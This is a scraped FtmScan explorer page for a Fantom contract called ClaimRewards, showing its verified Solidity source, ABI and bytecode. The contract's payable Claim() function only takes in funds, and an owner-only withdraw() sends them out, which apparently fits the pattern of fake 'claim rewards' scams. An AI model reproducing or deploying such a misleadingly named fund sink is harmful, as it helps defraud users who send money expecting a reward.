Contract
0xa3ff0eeb8e285d8c104eb8a0cc562c376a72e26c
7
Contract Overview
Balance:
0 FTM
FTM Value:
$0.00
My Name Tag:
Not Available, login to update
Txn Hash | Method |
Block
|
From
|
To
|
Value | [Txn Fee] | |||
---|---|---|---|---|---|---|---|---|---|
0x75b0660b652e8b3b74b1405b570a8a6f6f11e559d6aab8752ee272d40ec0ff28 | 0x60806040 | 63059895 | 8 days 17 hrs ago | 0xea3bb3ead44af0da6c9da69de0cfbf6f707b098d | IN | Create: ClaimRewards | 0 FTM | 0.082851740045 |
[ Download CSV Export ]
Latest 1 internal transaction
Parent Txn Hash | Block | From | To | Value | |||
---|---|---|---|---|---|---|---|
0x75b0660b652e8b3b74b1405b570a8a6f6f11e559d6aab8752ee272d40ec0ff28 | 63059895 | 8 days 17 hrs ago | 0xea3bb3ead44af0da6c9da69de0cfbf6f707b098d | Contract Creation | 0 FTM |
[ Download CSV Export ]
Contract Source Code Verified (Exact Match)
Contract Name:
ClaimRewards
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at FtmScan.com on 2023-05-25 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: ClaimRewards.sol pragma solidity ^0.8.0; contract ClaimRewards is Ownable { constructor() { // The Ownable constructor sets the owner to the address that deploys the contract } function withdraw(uint256 amount, address recipient) public onlyOwner { require(amount <= address(this).balance, "Requested amount exceeds the contract balance."); require(recipient != address(0), "Recipient address cannot be the zero address."); payable(recipient).transfer(amount); } function Claim() public payable { } function getBalance() public view returns (uint256) { return address(this).balance; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[],"name":"Claim","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"recipient","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405234801561001057600080fd5b5061002d61002261003260201b60201c565b61003a60201b60201c565b6100fe565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6107fe8061010d6000396000f3fe6080604052600436106100545760003560e01c8062f714ce1461005957806312065fe0146100825780633158952e146100ad578063715018a6146100b75780638da5cb5b146100ce578063f2fde38b146100f9575b600080fd5b34801561006557600080fd5b50610080600480360381019061007b91906104d4565b610122565b005b34801561008e57600080fd5b50610097610227565b6040516100a49190610523565b60405180910390f35b6100b561022f565b005b3480156100c357600080fd5b506100cc610231565b005b3480156100da57600080fd5b506100e3610245565b6040516100f0919061054d565b60405180910390f35b34801561010557600080fd5b50610120600480360381019061011b9190610568565b61026e565b005b61012a6102f1565b4782111561016d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161016490610618565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036101dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101d3906106aa565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610222573d6000803e3d6000fd5b505050565b600047905090565b565b6102396102f1565b610243600061036f565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6102766102f1565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036102e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102dc9061073c565b60405180910390fd5b6102ee8161036f565b50565b6102f9610433565b73ffffffffffffffffffffffffffffffffffffffff16610317610245565b73ffffffffffffffffffffffffffffffffffffffff161461036d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610364906107a8565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600033905090565b600080fd5b6000819050919050565b61045381610440565b811461045e57600080fd5b50565b6000813590506104708161044a565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006104a182610476565b9050919050565b6104b181610496565b81146104bc57600080fd5b50565b6000813590506104ce816104a8565b92915050565b600080604083850312156104eb576104ea61043b565b5b60006104f985828601610461565b925050602061050a858286016104bf565b9150509250929050565b61051d81610440565b82525050565b60006020820190506105386000830184610514565b92915050565b61054781610496565b82525050565b6000602082019050610562600083018461053e565b92915050565b60006020828403121561057e5761057d61043b565b5b600061058c848285016104bf565b91505092915050565b600082825260208201905092915050565b7f52657175657374656420616d6f756e7420657863656564732074686520636f6e60008201527f74726163742062616c616e63652e000000000000000000000000000000000000602082015250565b6000610602602e83610595565b915061060d826105a6565b604082019050919050565b60006020820190508181036000830152610631816105f5565b9050919050565b7f526563697069656e7420616464726573732063616e6e6f74206265207468652060008201527f7a65726f20616464726573732e00000000000000000000000000000000000000602082015250565b6000610694602d83610595565b915061069f82610638565b604082019050919050565b600060208201905081810360008301526106c381610687565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000610726602683610595565b9150610731826106ca565b604082019050919050565b6000602082019050818103600083015261075581610719565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000610792602083610595565b915061079d8261075c565b602082019050919050565b600060208201905081810360008301526107c181610785565b905091905056fea2646970667358221220df83bb71717b1dcbfcd298592b82c027a85232f0f5a7468d5a3600bdd67888a764736f6c63430008120033
Deployed ByteCode Sourcemap
3688:640:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3853:317;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4226:99;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4178:40;;;:::i;:::-;;2811:103;;;;;;;;;;;;;:::i;:::-;;2163:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3069:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3853:317;2049:13;:11;:13::i;:::-;3952:21:::1;3942:6;:31;;3934:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;4064:1;4043:23;;:9;:23;;::::0;4035:81:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;4135:9;4127:27;;:35;4155:6;4127:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;3853:317:::0;;:::o;4226:99::-;4269:7;4296:21;4289:28;;4226:99;:::o;4178:40::-;:::o;2811:103::-;2049:13;:11;:13::i;:::-;2876:30:::1;2903:1;2876:18;:30::i;:::-;2811:103::o:0;2163:87::-;2209:7;2236:6;;;;;;;;;;;2229:13;;2163:87;:::o;3069:201::-;2049:13;:11;:13::i;:::-;3178:1:::1;3158:22;;:8;:22;;::::0;3150:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3234:28;3253:8;3234:18;:28::i;:::-;3069:201:::0;:::o;2328:132::-;2403:12;:10;:12::i;:::-;2392:23;;:7;:5;:7::i;:::-;:23;;;2384:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2328:132::o;3430:191::-;3504:16;3523:6;;;;;;;;;;;3504:25;;3549:8;3540:6;;:17;;;;;;;;;;;;;;;;;;3604:8;3573:40;;3594:8;3573:40;;;;;;;;;;;;3493:128;3430:191;:::o;714:98::-;767:7;794:10;787:17;;714:98;:::o;88:117:1:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:126::-;727:7;767:42;760:5;756:54;745:65;;690:126;;;:::o;822:96::-;859:7;888:24;906:5;888:24;:::i;:::-;877:35;;822:96;;;:::o;924:122::-;997:24;1015:5;997:24;:::i;:::-;990:5;987:35;977:63;;1036:1;1033;1026:12;977:63;924:122;:::o;1052:139::-;1098:5;1136:6;1123:20;1114:29;;1152:33;1179:5;1152:33;:::i;:::-;1052:139;;;;:::o;1197:474::-;1265:6;1273;1322:2;1310:9;1301:7;1297:23;1293:32;1290:119;;;1328:79;;:::i;:::-;1290:119;1448:1;1473:53;1518:7;1509:6;1498:9;1494:22;1473:53;:::i;:::-;1463:63;;1419:117;1575:2;1601:53;1646:7;1637:6;1626:9;1622:22;1601:53;:::i;:::-;1591:63;;1546:118;1197:474;;;;;:::o;1677:118::-;1764:24;1782:5;1764:24;:::i;:::-;1759:3;1752:37;1677:118;;:::o;1801:222::-;1894:4;1932:2;1921:9;1917:18;1909:26;;1945:71;2013:1;2002:9;1998:17;1989:6;1945:71;:::i;:::-;1801:222;;;;:::o;2029:118::-;2116:24;2134:5;2116:24;:::i;:::-;2111:3;2104:37;2029:118;;:::o;2153:222::-;2246:4;2284:2;2273:9;2269:18;2261:26;;2297:71;2365:1;2354:9;2350:17;2341:6;2297:71;:::i;:::-;2153:222;;;;:::o;2381:329::-;2440:6;2489:2;2477:9;2468:7;2464:23;2460:32;2457:119;;;2495:79;;:::i;:::-;2457:119;2615:1;2640:53;2685:7;2676:6;2665:9;2661:22;2640:53;:::i;:::-;2630:63;;2586:117;2381:329;;;;:::o;2716:169::-;2800:11;2834:6;2829:3;2822:19;2874:4;2869:3;2865:14;2850:29;;2716:169;;;;:::o;2891:233::-;3031:34;3027:1;3019:6;3015:14;3008:58;3100:16;3095:2;3087:6;3083:15;3076:41;2891:233;:::o;3130:366::-;3272:3;3293:67;3357:2;3352:3;3293:67;:::i;:::-;3286:74;;3369:93;3458:3;3369:93;:::i;:::-;3487:2;3482:3;3478:12;3471:19;;3130:366;;;:::o;3502:419::-;3668:4;3706:2;3695:9;3691:18;3683:26;;3755:9;3749:4;3745:20;3741:1;3730:9;3726:17;3719:47;3783:131;3909:4;3783:131;:::i;:::-;3775:139;;3502:419;;;:::o;3927:232::-;4067:34;4063:1;4055:6;4051:14;4044:58;4136:15;4131:2;4123:6;4119:15;4112:40;3927:232;:::o;4165:366::-;4307:3;4328:67;4392:2;4387:3;4328:67;:::i;:::-;4321:74;;4404:93;4493:3;4404:93;:::i;:::-;4522:2;4517:3;4513:12;4506:19;;4165:366;;;:::o;4537:419::-;4703:4;4741:2;4730:9;4726:18;4718:26;;4790:9;4784:4;4780:20;4776:1;4765:9;4761:17;4754:47;4818:131;4944:4;4818:131;:::i;:::-;4810:139;;4537:419;;;:::o;4962:225::-;5102:34;5098:1;5090:6;5086:14;5079:58;5171:8;5166:2;5158:6;5154:15;5147:33;4962:225;:::o;5193:366::-;5335:3;5356:67;5420:2;5415:3;5356:67;:::i;:::-;5349:74;;5432:93;5521:3;5432:93;:::i;:::-;5550:2;5545:3;5541:12;5534:19;;5193:366;;;:::o;5565:419::-;5731:4;5769:2;5758:9;5754:18;5746:26;;5818:9;5812:4;5808:20;5804:1;5793:9;5789:17;5782:47;5846:131;5972:4;5846:131;:::i;:::-;5838:139;;5565:419;;;:::o;5990:182::-;6130:34;6126:1;6118:6;6114:14;6107:58;5990:182;:::o;6178:366::-;6320:3;6341:67;6405:2;6400:3;6341:67;:::i;:::-;6334:74;;6417:93;6506:3;6417:93;:::i;:::-;6535:2;6530:3;6526:12;6519:19;;6178:366;;;:::o;6550:419::-;6716:4;6754:2;6743:9;6739:18;6731:26;;6803:9;6797:4;6793:20;6789:1;6778:9;6774:17;6767:47;6831:131;6957:4;6831:131;:::i;:::-;6823:139;;6550:419;;;:::o
Swarm Source
ipfs://df83bb71717b1dcbfcd298592b82c027a85232f0f5a7468d5a3600bdd67888a7
Age | Block | Fee Address | BC Fee Address | Voting Power | Jailed | Incoming |
---|
Validator ID :
0 FTM
Amount Staked
0
Amount Delegated
0
Staking Total
0
Staking Start Epoch
0
Staking Start Time
0
Proof of Importance
0
Origination Score
0
Validation Score
0
Active
0
Online
0
Downtime
0 s
Address | Amount | claimed Rewards | Created On Epoch | Created On |
---|
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.